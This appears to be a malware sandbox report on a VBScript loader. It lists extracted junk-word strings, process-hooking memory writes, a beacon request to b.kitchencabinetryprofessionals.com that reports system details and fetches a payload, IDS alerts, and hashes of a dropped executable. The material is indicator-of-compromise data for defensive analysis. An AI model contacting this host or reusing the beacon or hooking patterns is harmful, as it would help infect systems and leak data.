"orials enthusiastical Czech puzzle quasi-convinced mudguard bandolerismo nondeprecatively Wildee creature panarteritis Kolozsvar orderings OPCW proportion ligamentum pararectal misaccount lodestar pseudoscience darics Wolfson queenliest Azeglio ceding gingers overcommendation truthfulnesses Ciapas Neavitt twitter unexecutorial buroo unjovial Roseanna coteller gombeen-men pertains Irish-grown stashes overfellowly splenectomy knobbliest scale-tailed dendrodont misrating Menifee uninterposing nondesisting diascordium nonnative Stander hemocrystallin Steck lee-bow hyalopterous normalization Chaille applotment psychrophore four-post namby-pambies byeworker slammer superstition-proof whaup recalcitrant long-drawn cathedratical ditchless blitzkrieg dwarfness lubber scopuliped plebianism Chatham tortricid panthelism Grant Syene Pompei stainlessness Carnegie barbulate continually theorist sorned loquaciously tenodesis addressers vaginervose starry-eyed Bikram gipsying uninvite disinhabit triadisms Gelene indivisiblene" (Indicator: "twitter")
"ics Marla whisting protoprotestant trochodendraceous geogeny Randi Thorley othaematoma mesorrhinal unslack amenorrhoeal soliton sweetings neoteny rabbanist trochozoic satient moory transgressing twitterboned anti-innovationist trihedron inoxidable churchmanship progymnosperm Moro Yamel rope-driving butterfingers OSF snakeberry decolourise quaternionic reversification judication paraprostatitis Hazlip Saint-Just flagellation propositions dunams electroacoustic madreperl nonimpressionabness buckras taxibus muscles dawut tapestry nonbending laverocks unwrongfulness opsonometry sabotage waterhead blackpatch Fowler persuadingly overcoloring technographer conioses full-mouthed Sadi hygromatous M-line Colymbidae forepast double-engined midstory instanced psilology porphyroblast molinet violina nonseclusive night-shirt miniaturing Non-spartan dissatisfies hoodman spatzle pharmacomaniacal doubt-excluding Berrellez chrysome enterozoan vrbaite eurhythmics umbilicus devoted polisher somnambulator Nerine seraskerate masth" (Indicator: "twitter")
"tion undersluice mopla a-twitter incogitant quadrinomial emetine innovational monosomes sublimeness versificatory well-wisher paschflower preremote Rathauser Denticeti unprevaricating seriately counterweigh araroba thioresorcinol pasquilic Psilophyton hay-bote indignify overrepresent wonder-wounded physicists loupe Riner exocoelic impure reactivated iridoptosis tumasha tin-plated brim handstroke arciform somepart ladyclock Agrigento conterminate chooky Imboden scimitered nonstable dendrologist Kenyatta unpieced antievolutionistic self-confounding Joni reinitializes anthropoteleoclogy ecdyson Thistle electrepeter kashima icebone claim antistrophal polarizes westerns hangnails jeerer Schomburgkia unalive semifuturistic intraformational subsiding archiblast breadthriders canarine underbodies foresing jolty lecthi legislatress purportless home-built tailrace Turcos puns renewedness fee-splitting Palau Un-hindu preadmits Mobeetie Rivera zirkelite twillings scend pariet whamo quinqueliteral lit. Alwyn Janenna polya" (Indicator: "twitter")
"velops gunja democracys ukiyo-e condylomas foliocellosis careers sharksucker namby-pambyish Rhynchops reacquire schrecklich Locris lissotrichy escandalize hairbell Burlingame Jahn nonmischievous canzonetta overthoughtfulness Malacocotylea mimickers uncapriciousness ballerinas coercibly adduct exonic well-maintained Chrysaor cenobites Yafa ephoralty horsehides eachwhere rillet Luthanen quinse fario cold-flow Poyen latissimus republicaniser Typees VAB unsaltable spare alipeds reimpart crackerberry salpingopalatine irreproachably anarchical defecated gelder investigators sounder velocipedean autocatalytically unobsequiously circumambulation lyophobe unh-unh Wieland sterilizability improperly breakout Oribelle flatted preallocates amber-headed sooloos glorifications vase-shaped difformity haglin genion rampoles apter unblundering overabusive nonadaptableness resumers twin-peaked untrespassing surpassed renegotiating proreptilian polestars twitteration Hibernicising Timur disciflorous kendo duckpond Traunik korats" (Indicator: "twitter")
"Calamospermae editress nondeterminist merozoite twitter button-tufting cytologic oligarchs Gorchakov collutory indecorous sky-falling Bruceville hyposensitivity soutar kallilite Hasan periglial omnitonic puzzolana Darghin huck three-color vixenish unoppressive celiagra hocussed tasselmaking dermorhynchous Modesttown Stannaries metaboly churchier deprives plumbings silken-fastened addio naggish infra-anal Kluxer gonfalons unshimmeringly Querciflorae dealings" (Indicator: "twitter")
"self-considerative advisors ropewalk twitter-twatter demersion nonblooded archimage panophobia staia udders Wooster tzarevnas sandiferous cotyledonar Siangtan virusemic alytarch nonaccedence interviews Gelonus topmaking stith three-deep celestially paenula
nkmqANWyXIbrnwyLeBdTYCSNmzUVq=OkHoynUjyvWUAYrpgOFXMfLIRP-nkmqANWyXIbrnwyLeBdTYCSNmzUVq" (Indicator: "twitter")
"id handspec birds-foots half-deck loggias allamotti nondistributiveness Bobadilla nondexterousness superpartient self-contentedly etiolating outwitter Hildebrandslied ready-made epilaryngeal ekatantalum cupuliform Alceste aluminosis lyre-shaped orthopsychiatrical antiparliamentary morphometric albergatrice neomedievalism familiar fossage Firooc Tappan postea hastate handsale flirtiest beperiwigged pettingly superconfidence furuncular capmakers Margit Dasypus self-guard moldy communistic osmiridium Herbivora unca osphretic swingback taxpayers harvestry centrifugate peltmonger antigrammatically untenderly deprehend pericaecitis sanctifying Gerhardt disedify elvish zygosis nighish Lilliputianize computernik madames bisaxillary programable fantasm decremental climatotherapies challengeable superelegancy acupuncture radioecological histology Tien Pleurotoma Kassak vivipara terfez Absaroka Bacharach theaceous filthier sanctity Saidee and/or demulsifying tortricine Lelah mid-season ragpicker Billie byrnie exhorters" (Indicator: "twitter")
"nonbigoted pulpiest omit peaced proctodaeal Chronicles protonematoid rimiest navalistic Ternstroemiaceae telergical unakin Nissan prorelease phagedenous antieavesdropping outwitter Jobie institutionalised Ampullaria ill-yoked lovebirds back-trip prepractised jetsom ectomy Siubhan unconversably cerviciplex begray agathodemon taggle double-riveted stinkdamp nitchevo Rauraci AZ phantasts impudent dinomic thunder-riven hyperexcursively alinasal Sloanea assistency nonmembers temperer albanite protheatrical definitize Baskish angiotrophic azimuthally maniacs understrife Messapic self-security star-gazing dah graffage abayah deceitfulness lyfkie synthesize Nekrasov philodemic overladed afterlifes rutilate vote-catching pentalpha novelism goldeye unreflectingness Bryonia nontemporal forewords Blockton overmultiply alkalisation unsuppliable akenbold ringstraked epagogic theurgy typhosepsis noncapriciously Struthioniformes fork faineant manjeet things rhinegrave cabbagy Wilson ejectamenta Pseudo-gothic Xerxes symphoni" (Indicator: "twitter")
"s semiresolute stepsons Confervaceae periost nametape Dagny morphinize autochthonously counterrampant emotivism unlaudative callant wagoning Excello coprolaliac COSMOS metastability oligomery braciolas ebulliometer surgically goosefoots mischance Wini rollers synchronized twittered berlins Pampanga tholance fruitlessness mamelukes microelement psychotherapies Latium coffering trabacoli Ptilonorhynchidae three-circle two-piled ragman TASC Phlebodium homecome medusae sectionalised barbequed reflexes white-hoofed coadjutive Madelyn saw-edged Araceae acheiria minnesong world-sufficing Shurlock melamine Celtologue vitrified phototherapies cocona acotyledonous registrator outtake lndg harmonics differentiability girlies finespun fugacities al. Dilaudid Rozel saccharobiose epicedia inhomogeneities gemminess nonglandulous erliche sharp-back monepiscopacy shipworms dry-footed maltster accretionary hydrotactic gahnites tamponing squanter-squash oleana disbelievingly extrabureau phyllamorph sulphogermanic corymbs dipart" (Indicator: "twitter") - source
- File/Memory
- relevance
- 7/10
-
Found a reference to a known community page
-
Unusual Characteristics
-
Installs hooks/patches the running process
- details
-
"wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF1DC78AD" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "65488b0425b8150000" to virtual address "0xF1DC7A44" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF1DC743F" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "48b8e011b4f3fe070000ffe0" to virtual address "0xFEF81000" (part of module "WS2_32.DLL")
"wscript.exe" wrote bytes "00100000" to virtual address "0xFCAB8468" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "00100000" to virtual address "0xFEFB1748" (part of module "WS2_32.DLL")
"wscript.exe" wrote bytes "40130000" to virtual address "0xFCAB8538" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF1DC74FB" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF1DC75B3" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "669065488b0425b8150000c366669066669090" to virtual address "0xF1DC5B40" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF1DC760D" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "48b81016b4f3fe070000ffe0" to virtual address "0xFCAA1000" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "40130000" to virtual address "0xFCAB8478" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "00100000" to virtual address "0xFCAB85A4" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "eb11c366669066669066669066669066669090" to virtual address "0xF1DC5BC0" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "3012b4f3fe070000" to virtual address "0xF8A12050" (part of module "WEBIO.DLL")
"wscript.exe" wrote bytes "65488b0425b8150000" to virtual address "0xF1DC7A60" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "65488b0425b8150000" to virtual address "0xF1DC7A25" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "0010aafcfe070000" to virtual address "0xFCABFE50" (part of module "SSPICLI.DLL")
"wscript.exe" wrote bytes "4013aafcfe070000" to virtual address "0xFCABFB48" (part of module "SSPICLI.DLL") - source
- Hook Detection
- relevance
- 10/10
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Installs hooks/patches the running process
File Details
MSG_421097.vbs
- Filename
- MSG_421097.vbs
- Size
- 5MiB (5270246 bytes)
- Type
- script vbs
- Description
- ASCII text, with very long lines
- Architecture
- WINDOWS
- SHA256
- 9b5cf6dbda7e1d0583dbfdb12ed785174da8a0750e12447bc27e6d21fd5eb51b
- MD5
- ee366ff977c60a3ae5ade669c3c8b646
- SHA1
- c43902cd77c1e4b59da36c358c5608c8a31656b7
- ssdeep
- 49152:RPWe4ytPmWccQgRkneyU+u1nEIXNyj5xpuMsgWwASi/P5Q5HOhDKD2oZYFylxTkD:L
Screenshots
Loading content, please wait...
Hybrid Analysis
Tip: Click an analysed process below to view more details.
Analysed 1 process in total.
- wscript.exe "C:\MSG_421097.vbs" (PID: 4000)
Network Analysis
DNS Requests
Domain | Address | Registrar | Country |
---|---|---|---|
b.kitchencabinetryprofessionals.com
OSINT |
104.154.229.109
TTL: 6157 |
GoDaddy.com, LLC
Organization: Domains By Proxy, LLC Name Server: NS1.GIOWM6.SITEGROUND.BIZ Creation Date: Thu, 31 May 2018 15:59:55 GMT |
United States |
Contacted Hosts
IP Address | Port/Protocol | Associated Process | Details |
---|---|---|---|
104.154.229.109 |
80
TCP |
wscript.exe PID: 4000 |
United States |
Contacted Countries
HTTP Traffic
Endpoint | Request | URL | |
---|---|---|---|
104.154.229.109:80 (b.kitchencabinetryprofessionals.com) | GET | b.kitchencabinetryprofessionals.com/ushaudhsauhds.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4A... | GET /ushaudhsauhds.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: b.kitchencabinetryprofessionals.com More Details |
Suricata Alerts
Event | Category | Description | SID |
---|---|---|---|
local -> 104.154.229.109:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
104.154.229.109 -> local:49293 (TCP) | - | - | - |
104.154.229.109 -> local:49293 (TCP) | Misc activity | ET INFO EXE - Served Attached HTTP | 2014520 |
Extracted Strings
Extracted Files
-
Malicious 1
-
-
TableOfColors.exe
- Size
- 308KiB (315392 bytes)
- Type
- peexe executable
- Description
- PE32 executable (GUI) Intel 80386, for MS Windows
- AV Scan Result
- Labeled as "Gen:NN.ZexaF.34090" (21/72)
- Runtime Process
- wscript.exe (PID: 4000)
- MD5
- 40f8149f47b85c5b7bff6b8d76d61bc7
- SHA1
- e4b8df24c863c4a27cba7fba0c5afd7ed88077f4
- SHA256
- 7663a8523f0c7c984f86cb155e5ffb734038ea5c649d8cfbf9dced660d9d35d5
-
Notifications
-
Runtime
- Although all strings were processed, some are hidden from the report in order to reduce the overall size
- Not all sources for indicator ID "api-55" are available in the report
- Not all sources for indicator ID "hooks-8" are available in the report
- Not all sources for indicator ID "string-24" are available in the report
- Not all sources for indicator ID "string-5" are available in the report
- Not all strings are visible in the report, because the maximum number of strings was reached (5000)